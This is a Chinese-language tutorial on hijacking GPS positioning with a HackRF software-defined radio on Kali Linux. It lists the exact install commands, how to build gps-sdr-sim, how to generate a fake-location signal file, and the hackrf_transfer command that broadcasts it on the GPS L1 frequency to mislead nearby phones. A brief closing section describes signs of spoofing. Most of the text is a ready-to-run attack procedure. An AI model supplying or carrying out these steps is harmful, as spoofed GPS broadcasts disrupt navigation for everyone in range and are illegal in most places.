劫持准备
设备:hackrf
系统环境:kali linux
1. 打开终端,在终端中输入以下命令,在kali下安装hackrf的驱动和环境。
sudo apt-get install hackrf libhackrf-dev libhackrf0
2. 安装完毕,插上hackrf,运行以下命令
hackrf_info
可查看hackrf的基本情况如下所示:
3. 接下来安装一些其他软件,在终端输入以下命令,就会将所需要的软件安装成功:
apt-get install gnuradio gnuradio-dev gr-osmosdr gr-osmosdr gqrx-sdr wireshark
4. 安装成功后,就可以将hackrf的GPS外部时钟安装上,安装的图片如下所示:
5. 安装完毕之后,接上相应的天线连接完毕之后如下所示:
制作定位文件
1. 从git上面下载所需的软件gps-sdr-sim并且对这个软件进行编译,生成可执行文件。在终端输入如下命令即可:
Git clone https://github.com/osqzss/gps-sdr-sim.git
cd gps-sdr-sim
gcc gpssim.c -lm -O3 -o gps-sdr-sim
2. 挑选一个经纬度,这里选择经度66°,纬度66°。在当前目录下,终端上执行如下命令,制作定位文件:
./gps-sdr-sim -e brdc3540.14n -l 66,66,100 -b 8 -d 100
实施劫持
让hackrf将这个文件中的内容发射出去。
这里需要注意的是由于现在的手机基本上都采用GPS定位,基站网格定位,和Wifi定位3种方式合一,所以这里需要使手机处于飞行模式才可以。在终端输入如下命令,其中1575420000指定的是发射的频率,而2600000是采样频率:
hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 0
我们可以发现,在欺骗成功后,连接的卫星数量会有明显的上升。这是因为我们假冒了其中很多的卫星。
GPS劫持前网络安全通
GPS劫持后
现在可以看到,GPS劫持后,百度地图定位结果已经不对了,
Tips
GPS有风险,使用时我们该如何分辨GPS的真伪呢?
1. 根据GPS信号的强度区分。如果GPS的欺骗信号是从单一的设备中发出的,那么其信号的强度很可能是一直的,而在正常的通讯环境下,不同GPS信号不会有如此相似的信号强度。
2. 根据GPS信号数目区分。因为GPS信号是伪造出来的,而且需要至少伪造出来三个,而一般地来说,为了使得欺骗成功,伪造的GPS信号数目是越多越好的,所以如果GPS信号的数目突然增加了很多,那么很可能遭到了GPS欺骗。
3. 根据时间区分。GPS信号具有卫星授时的功能。而GPS信号的伪造一般需要获取到某一天GPS卫星的运行报文,在这个基础上进行伪造。所以这样的伪造出来的卫星授时的时间一定是所采用报文的时间而不是正常时间,所以在联网设备中只需要对卫星授时时间进行比对,就可以知道是否遭到了GPS欺骗。
|